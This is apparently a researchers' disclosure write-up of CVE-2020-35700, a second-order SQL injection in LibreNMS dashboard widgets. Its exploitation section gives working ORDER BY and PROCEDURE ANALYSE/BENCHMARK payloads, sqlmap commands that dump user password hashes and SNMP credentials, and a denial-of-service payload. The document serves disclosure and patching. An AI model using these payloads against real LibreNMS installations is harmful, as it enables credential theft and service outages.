LibreNMS is an open source solution for network monitoring based on PHP, MySQL and SNMP. While reviewing its source code, we discovered a second-order SQL injection vulnerability, CVE-2020-35700, in the Dashboard feature. This vulnerability is exploitable by any authenticated user inside LibreNMS. The vulnerability is fixed in LibreNMS 21.1.0.
Network monitoring applications are attractive targets for attackers because they often contain a wealth of information about other devices on the network. Attackers can use this vulnerability to disclose the full contents of the LibreNMS database, which includes user password hashes and credentials used to access devices being monitored by LibreNMS. It's also possible to execute a denial of service attack to bring down the application.
CVSS vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
As of this writing, there are about 3K instances of LibreNMS on the Internet that can be found with the Shodan dork "html: LibreNMS".
Upgrade to LibreNMS 21.1.0.
LibreNMS uses the Laravel PHP framework and the Eloquent Object Relationship Mapper (ORM) that is built into Laravel. ORMs provide a convenient abstraction for developers to interact with databases through "model" objects rather than database queries.
Using a mature, vetted ORM like Eloquent is generally good practice for preventing SQL injections because the ORM handles sanitizing inputs into SQL queries. For instance, if you wanted to fetch a "User" model object using its primary key, in Eloquent you could do something like:
$user = User::find($id);
And Eloquent would take care of sanitizing the
$id input as part of constructing the SQL query to fetch the user.
One limitation of ORMs in general is that sometimes it's hard to express complex SQL queries using ORM model objects. To accommodate this, a lot of ORMs provide developers a way to bypass the ORM abstraction to create their own "raw" queries. These "raw" queries offer more flexibility to developers but open up the possibility of SQL injection if inputs into them are not sanitized properly.
In LibreNMS, we found two exploitable instances of "raw" queries in the TopDevicesController.php file where a sort order parameter,
$sort, was not being sanitized:
Where is the
$sort parameter coming from?
When a LibreNMS user edits a Dashboard widget in the web UI, the UI issues an HTTP PUT request containing the widget's settings.
These settings are saved as a JSON blob in the
users_widgets database table. The settings include a
When a widget is subsequently rendered, the UI sends an HTTP POST request to fetch the data to be shown in the widget. On the backend, the LibreNMS application fetches the widget's settings from the
users_widgets table and maps the
sort_order setting to the PHP
$sort parameter. This is where the injection happens. This is a second-order SQL injection because the request that delivers the injection payload (the HTTP PUT request to save the widget settings) is different from the request that executes the payload (the HTTP POST request to render the widget).
The sort field is an interesting place to execute a SQL injection. Normally a sort field in SQL should either be
DESC. However, because
ORDER BY clauses in SQL accept multiple columns, it's possible to inject more columns via the sort argument. And columns in
ORDER BY clauses can also be subqueries. So, using Burp Suite, we intercepted the HTTP PUT request and put in the payload
asc, (select sleep(10) from dual) desc to confirm the vulnerability:
As expected, the HTTP POST request to display the widget was delayed 10 seconds.
There is one case where the above injection payload with the
sleep doesn't work. This happens when the authenticated user performing the injection has no permission to access any devices. When this happens, the
ORDER BY subquery containing
sleep is short-circuited, and the query returns immediately instead of sleeping for 10 seconds. This can be seen from the original query:
There is a handy trick available though specific to MySQL and MariaDB using a built-in database procedure called
ANALYSE. This works in all versions of MariaDB and MySQL versions prior to 8.0. The gist of the trick is that you can append a
PROCEDURE ANALYSE block to the end of a SELECT query and it will execute even if the user doesn't have access to any devices. We used the following injection:
asc PROCEDURE ANALYSE(EXTRACTVALUE(rand(),CONCAT(0x3a,(BENCHMARK(50000000,SHA1(1))))),1)--
BENCHMARK function logically does the same thing as
sleep - it prolongs the execution of the query by forcing the database to do work (in this case repeatedly computing a SHA-1 hash). In our test environment using the LibreNMS Docker setup, this injection delayed the rendering of the dashboard widget by about ~15 seconds.
LibreNMS exposes three main types of roles: a Normal user role with read/write privileges, a Global Read role, and an Admin role. The Normal User role can be configured with access to specific devices or groups of devices. To demonstrate exploitation below, we used a Normal user. A user with the Global Read role can also fully exploit this vulnerability.
sqlmap is often the go-to tool for exploiting SQL injections, and it works beautifully out of the box for exploiting this particular injection. Using Burp Suite, we captured the HTTP PUT request to save the widget settings and the HTTP POST request to display the widget, and then fed these requests into
sqlmap via the
--second-req arguments, respectively.
sqlmap picks up both the
ORDER BY and
PROCEDURE ANALYSE injection points:
sqlmap -r update_widget_request.txt -p 'settings%5Bsort_order%5D' --second-req show_widget_request.txt --dbms mysql --level 5 --risk 3 <TRUNCATED> [22:48:46] [INFO] PUT parameter 'settings[sort_order]' appears to be 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause' injectable (with --code=200) <TRUNCATED> [22:48:50] [INFO] PUT parameter 'settings[sort_order]' appears to be 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)' injectable <TRUNCATED POST parameter 'settings[sort_order]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 1769 HTTP(s) requests: --- Parameter: settings[sort_order] (PUT) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause Payload: settings[_token]=p2TxURPke3bPTRFBVxd2sZ00qeZ6X7cU6Z5OOt9Z&settings[title]=&settings[top_query]=traffic&settings[sort_order]=asc,(SELECT (CASE WHEN (1944=1944) THEN 1 ELSE 1944*(SELECT 1944 FROM INFORMATION_SCHEMA.PLUGINS) END))&settings[device_count]=5&settings[time_interval]=15&settings[refresh]=60 Type: time-based blind Title: MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE) Payload: settings[_token]=p2TxURPke3bPTRFBVxd2sZ00qeZ6X7cU6Z5OOt9Z&settings[title]=&settings[top_query]=traffic&settings[sort_order]=asc PROCEDURE ANALYSE(EXTRACTVALUE(4692,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x43474d4c))))),1)#&settings[device_count]=5&settings[time_interval]=15&settings[refresh]=60 --- <TRUNCATED>
Then, to dump the users in LibreNMS and their password hashes:
sqlmap -r update_widget_request.txt -p 'settings%5Bsort_order%5D' --second-req show_widget_request.txt --dbms mysql --dump -D librenms -T users -C username,password <TRUNCATED> Database: librenms Table: users [3 entries] +----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | normal | $2y$10$kZ8qvAmD3xsqo/64kEMKCOptTH9aiSJoPTX.iDM4Y2X7cqwh1rJ.a | | readonly | $2y$10$okogRbjA8kNyKFwZJqQnM.42As1gS09sMLy8O.wPimkf4QB8I2AZi | | librenms | $2y$10$qX0N3Z2gziCR41/RTQW4I.qOiOGyIt2Rk3JN/Ijglw.37thtyqSW6 | +----------+--------------------------------------------------------------+ <TRUNCATED>
The following command dumps cleartext SNMP v1/2c community strings and SNMPv3 usernames and passwords from the
sqlmap -r update_widget_request.txt -p 'settings%5Bsort_order%5D' --second-req show_widget_request.txt --dbms mysql --dump -T devices -C device_id,community,authname,authpass <TRUNCATED> [22:59:38] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [22:59:38] [INFO] fetching current database <TRUNCATED> librenms [22:59:40] [INFO] fetching entries of column(s) 'authname,authpass,community,device_id' for table 'devices' in database 'librenms' [22:59:40] [INFO] fetching number of column(s) 'authname,authpass,community,device_id' entries for table 'devices' in database 'librenms' <TRUNCATED> Database: librenms Table: devices [4 entries] +-----------+----------------------------+-----------+-------------+ | device_id | community | authname | authpass | +-----------+----------------------------+-----------+-------------+ | 1 | my-secret-community-string | NULL | NULL | | 3 | <blank> | NULL | NULL | | 4 | <blank> | NULL | NULL | | 2 | <blank> | snmp-user | supersecret | +-----------+----------------------------+-----------+-------------+ <TRUNCATED>
When a SQL injection vulnerability is present, it's not too difficult for an attacker to carry out a denial of service attack by forcing the application to execute resource-intensive queries. The
BENCHMARK function is a good candidate to use. We used the
BENCHMARK function along with the
PROCEDURE ANALYSE injection to test it out:
asc PROCEDURE ANALYSE(EXTRACTVALUE(rand(),CONCAT(0x3a,(BENCHMARK(5000000000,SHA1(1))))),1)--
Against the LibreNMS Docker setup, we fired off 10-15 web requests to fetch the dashboard widget with this injection. The database CPU spiked to 99% and the web application became unresponsive and unusable.
Thanks to the LibreNMS team for their prompt response.